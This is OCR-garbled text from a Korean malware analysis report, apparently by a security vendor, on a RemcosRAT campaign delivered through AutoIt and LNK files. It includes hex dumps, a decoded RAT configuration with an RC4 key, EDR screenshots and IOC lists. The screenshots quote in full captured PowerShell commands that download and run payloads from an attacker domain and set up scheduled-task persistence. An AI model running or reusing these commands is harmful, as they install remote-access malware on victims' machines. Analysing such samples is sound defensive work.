=, Q1T Hl0| ZlollA 7| YOl CHS E = 242 X2t YACE 255t HRt M s
of, S AT WZ Ol B HEo| 2XEOE NEE S TAE T YLLICH

Ax| A TS B0I51Y| QI5t0] I TYE RXIAT 7| UL VIHOE SUS HAS UG H
I, LS SHE SXIYS WHE Aol SUB S1AIS S8 2E5tE|= X0l HolTLict

=55 2AIAS IPvd Fo HAIS IS C2 M| FAE AFSELICH SUB 7|4t 2Xtg LS5}

SrAIS H| DM TSt PAES JIXIK|EL SN TC LHRO| U EQIT olZet YEE M 2 T
oA R BHoI5t| PSR Sl=E BTHE JHX D UBLICH

S5 B2 HEfo| IP FALEURLS BO|UI2| LHSO 21 ZaI5HA 4SS 2M, 2AHY 7|8t BiX|
S AJTLIR 718 EHR| 7|2 2El5tes XS JHE FY LS5t |Ho R HRELIC

0|01 sqlite4.au3d utU 2 LHE 0| RemcosRAT HIO|LH 2| & 245t UF LT
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Table Tree
Extract all icons | | Extract all cursors Dump all
g~ Address Offsat Size
0 RT ICON{3) 1 1033 003Bal8c 0007338¢ 0468 Format:
L RT ICON(3) 2 1033 )38aS£4 0007T3T£4 1988 Format:
2 RT_ICON({3) 3 1033 0038af7e 0007417 1058 | Format:
3 RT ICON(3) 0038c024 00075224 2 Format:
4 RT RCDATA(10) 003BaSes  000777ee 0%
5 RT_GROUPE_ICOM.. 1038eadd  00077cds ie Image: Format Win 5
Hex Strings
Address 00 01 02 03 04 05 06 07 08 09 0a 0b Oc 0d De 0f |Symbols
0007:77cc |99690ab31be3dcccebad 00b0 c5 4f 26ed .[1.*.aUIé. . “A0&a]
0007:7 bl 4d 5b 5 ed 67 ¢4 9e 9e b5 84 3d2b 270 £ [EM[Aigh. .p.=+'°g
0007:7 72 4ab2Db5 50 Te ad 03 Obdd 66 93 aa 90 B404  |[cJpp~nm. ¥f.*.
0007:77£c |51463a 08151412 cf £1 £8 fe a4 d7b3 ef fe : i
0007:760c |e5bd 29 7d 5b 8b fa 95 cc 6c 8f dd a8 ab ed 31
0007:78lc |16bd74 89bbbl 57 17 £a 26 eb 92 a5 70 dc 07
0007:782c |47 cb7ebe Tba%d5bl £3 83 2e 75 1c ce 2ced
0007:783c |Bedde3 46bb a0 92 d3 75 4a 68 fe 4b 50 0c54
0007:7B4c |df 43 93 49 a6 fabf 68 b5 91 4c e3 96 2f 1fcd
0007:78 3e 98 b5 63 a2 ¢4 53 49 91 bd 1d 85 31 0f eac3
0007:766c 9bbb333eebacTedeca732e06Tcb0780d4 »3:-5—.--}-]:5 LI BPx.
0007+ 3£ 55 cl 8b ab 2e c5 4d b3 df 00 56 e2 £fd dd0c ?m.«.m*n.vagi.
0007:7 3b6271c5 71 1deé d4c 4b27 76 £6d2 01bB6c  ;bghg. =LK' vs0. 1
D007:78 86 0d0bca5a 9l ad 1bd7 f8 63b6 1c ff 42eb .. .EZ.u_xpcy. §B&
[l 4-8] RemcosRAT 2| AA 71X 5HH
RemcosRATS PE gl Q| 2|AA MM = RCData 5+2|0f| Z=x5t= SETTINGS 2| A A0 2t 3
E9| £ M(Configuration) 2 & MZESt=e £ E 7HX| 10 USL|CH

e 2la20s RCA YTE|EC 2 U5 5HE MH O|0|E{7F Z5E|0f 2/20, RC4 Keys A 0|
EQo| 37|(0x99)2+= E-||O|E-| 2 LY=o MEtE SEf QI

ST Key Zf O| S HE| ZEXl5t= U552 H0|EHE 253518 AL C2 M FTA U ZTE M,
Mutex Zt, MX| otld, 7|22 20 0t H S AMHFEL F S2to| RS CHUSH AN HETL
ZEE o] JSLICt.
ol2{St X AT =2 M MY HEE MY ot L Rof| 2UEec=2M EMS oA ot
ZAE AAEDEC2 M ZHe| S41 U ofM S| E X|ofot7| 218t SEH 22 ALEE LTt
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Remcos Configuration (Analyzed by Genians Security Center)

RC4 KeylLen Byte
e —

153 (0x99)
690ab91be3dcccebad@®bOc5Uf26e6blidd5bc5edb67ci9e9eb58L3
d2b27b0f2724ab2b5507eal030bdd6693a290840451U463a081514
12cff1f8fealdd7b3effee5bd297d5b8bfa95cch6c8fdda8abed3fl
6bd7u89bbb15717fa26eb92a570dc07ud7cb7ebe7ba9d5b1+3832e
751cce2cee8eddc346bbe092d3754a68fellb500c5UdfU39349a6+F
abf68b591U4ce3962f1fcc3e98b563a2cu5al991b6

178.16.54.208
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5. 218 #=5 (Threat Attribution)
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https://storage.printfriendly.com/blog/threat_intelligence/spear-phishing?hsLang=ko
https://storage.printfriendly.com/blog/threat_intelligence/android?hsLang=ko
https://storage.printfriendly.com/blog/threat_intelligence/konni_disguise?hsLang=ko
https://storage.printfriendly.com/blog/threat_intelligence/konni_universe?hsLang=ko
https://storage.printfriendly.com/blog/threat_intelligence/autoit?hsLang=ko
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https://storage.printfriendly.com/products/genian-insights-e?hsLang=ko
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I\F/. @ e
explorer.exe Jp——
parent process e = - . .:
(2] o 9 file events :
- ; &=
ark.x64.dll Bandizip.exe —
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------ .} e e +
5 network events Confiderse B
__\\ outgeing \ 5 connecticns ::::-: e
| & |
| apdaterexe
15 file events -
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Genian Dashboard Report Policy System v

4z Threats

Overview
A powershell.exe
Management @ 03/09/2026 08:30:50 @ XBA [ Exploit [T
Devices Indicators Attack Story Line
Event Search General

Live Search

Indicators
Acquisitions

m powershell.exe is detected by Suspicious PowerShell Execution XBA Rule (80%)
File Analysis

O Endpoints Threat Info

Process Path  C:wWindowswSysWow64wWindowsPowerShell#v1.0wpowershell.exe

Process CwWindowsWsystem32Wemd exe «f

Management

Groups Event Time 03/09/2026 08:3049

Event process / ProcessStart

force;$nixpgtIy="CWUsersWPublicWVideosW'Set-Location -Path Snixpgt3y;invoke-WebRequest -Uri
'https.//drfeysal. com/wp-admin/maint/treasure/?wWI=DChaS0' -OutFile 'Autolt3.exe"Start-Sleep -
Milliseconds 100;Invoke-WebRequest -Uri *hitps.//drfeysal.com/wp-admin/maint/treasure/?
NsJ=Ccawo1' -CutFile 'APDNHFU pdf;Start-Sleep -Milliseconds
100;$etqaBtwx="3nixpgt3y+"Autolt3.exe’ SudjvOugw=3nixpgt3y-'APDNHFU pdf;$zq208q0d = Mew-
ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -Repetitioninterval (New-TimeSpan -
Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365);$p1va0ruc = New-
ScheduledTaskPrincipal -Userld $env:USERMNAME -LogonType Interactive -RunLevel
Limited;$tme28ndt=8i{gem new-sche*TaskAc?) -Execute SetgaStwx -Argument SudjvOugw;Register-
ScheduledTask -Action $tme28nat -Trigger $zq208q0d -Principal $p1v90ruc -TaskName
'APDNHFU" -Description 'qNOlbpauDEZGgHXkRtcM™

Command line

Message  Suspicious PowerShell Execution (SuspiciousPowershellCommand)

PowerShells are often used by malicious code because they are built into Windows and have
strong functionality. A close investigation is required if the option, which is usually used by
malicious code, is given as a factor when executing the execution of the power shell.

Reason : The PowerShell command line factor contains the following keywords:
- Options for running scripts on the Internet

- Option to encode the command line as Base6d

- Option to download or decompress files

- Special characters for bypassing keyword Pattern Match searches

False Detection : Misdiagnosis sometimes occurs when the 3rd Party software runs PowerShell as
Hidden

MITRE ATTECK [Rlraee |
Threat detect description

process Command line _Decoded_: C:¥WindowswSysWowB4#WindowsPowerShell#v1 0Wpowershell.exe -Command "$03t1371s=0;<#Add-AppProvisionedPackag
ex=$fdmmusvr="le'+ 'ng + th <#Add-AppProvisionedPackages= §jz5f4458 =Get-Location; $aay0wSz7 =&(gem *et-Child*) *Ink;<#Add-AppProvisionedPackag
e#>$aay0w5z7 =$aay0wsz7|where-object{s_$fdmmvavr -eq 0x001DBB82}; <2Add-AppProvisionedPackage® > $ririn5t6=$aay0wSsz7; <#Add-AppProvisionedPa
ckage#» $aay0w5z7 = $aayOw5z7|Select-Object -ExpandProperty Name; <#Add-AppProvisionedPackage#=if([string]:IsMullOrEmpty($aay0w5z7)}{$03t13715=
1;=#Add-AppProvisionedPackages » $jz5f4458=$envUSERPROFILE <#Add- AppProvisionedPackages# = §jz5f4458=$j75f4458 + Wappdatawlocalwtemp’; <#Add-
AppProvisionedPackage#>$aayldw5z7=Get-Childitem -Path §jz5f4458 -Recurse -Filter *Ink|where-object{$_ $fdmmvavr -eq 0x001DBBS82}|ForEach-Object(s .
FullName}|Select-Object -First 1;<#Add-AppProvisionedPackage# » $ririn5t6=$aay0w5z7); «#Add-AppProvisionedPackage# = $v7aew13n=S5aay0w5z7[0. ($aay0
w527 $fdmmv8vr-5)] -join ";$li3zo2xm=[System.|0.BinaryReader]:new([System.IO.Filelzopen{$aay0wsz7 [System.IO.FileMode]::Open, [System.IO.FileAccess] Re
ad [Svstem.|O FileSharel:Read\\ trv$li3zo2xm BaseStream. Seek(0x00001892 Svstem 10 SeekOrigin:Beain):$ctxka3ri=$li3z02xm.ReadBvtes/0x001 D7IFEY Hinall

Threat Manage Info
Auto Response  [Emer g

Status
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%206-2%5D%20PowerShell%20%EB%AA%85%EB%A0%B9%EC%96%B4%20%EC%8B%9D%EB%B3%84%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%206-2%5D%20PowerShell%20%EB%AA%85%EB%A0%B9%EC%96%B4%20%EC%8B%9D%EB%B3%84%20%ED%99%94%EB%A9%B4.png?hsLang=ko

L/
o

: drfeysal.com e
I outgoing

Quick Search

213.210.57.117:443 (Success) ~
.

Connection Information

Event Time 03/09/2026 08:30:55 @(Connecting)

cmd. exe Event Type  NetworkConnect @
process Process Name powershellexe B
DNS Name drfeysal.com
Protocol T{,po
Direction our
Connection
',"-— © 172.29.151.102:50030
.
. 213210,57.117:443
L drfeysaLcom ® 21321057.117:443 |®
. . @ drfeysal.com
outgoing
(3] Teg
Tactic [
Technique [pr | (Application Layer Protocol: web Frotocais
~ Custom Tag
S =
6 module events External Link
4
powershell.exe ViusTotal
7’ .
child process Criminal 1P
P I Google
Extended whois
Project Honey

Spamhaus.org
Spamcop.net

Cisco Talos

SC Source/Subnet Report
WOT Security Scorecard

MalwareURL

2 registry events

csc.exe

[186-3]C2 4 == =tH

EDR 2tZ|Xt= Attack StorylineZ 7|22 2 L2 Z2 S =X E e + JUSLHC

. 2 oA THko| ChE RS EE 4 F Azl
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. AT EENA E2], 02 2 S5 B9, ol UET AIZ YB OIS S8 Rt A

9| ZA}

- A Z2AIA OF8 ME U 2% RE B0 Cist B 2
0|9 22 7|52 M O|HIE TH2|o] BRIS HOf, AT|OfTlAl 7|4 £7| AE — LNK 43 —
RAT 219 — &7| &= - DI AN Q8 2% BAIO R 0|0{X| MA B4 S22 M2t y|Hios
mrorEr 4 Ul A0, B4 SSNT NS =S B £0/= o BRIt

7. 10C (Indicator of Compromise)
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%206-3%5D%20C2%20%ED%86%B5%EC%8B%A0%20%ED%9D%90%EB%A6%84%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%206-3%5D%20C2%20%ED%86%B5%EC%8B%A0%20%ED%9D%90%EB%A6%84%20%ED%99%94%EB%A9%B4.png?hsLang=ko

MD5
148405ff05bf15a6a053e4e7¢1795d40
2e1b0ac49313873a0e0b982c591a5264
7dc50e8af0070e544bff5299405cd3b9
61f65bd593eale52ac0dfdc6bc9cd73a
461ade40b800ae80a40985594e1ac236
01022facb38cf60b052e65a682f4a127
3288c284561055044c489567fd630ac2

C2
drfeysal[.Jcom
185.21.14[.]249
157.180.88][.]126
96.62.214[.15

178.16.54[.]208
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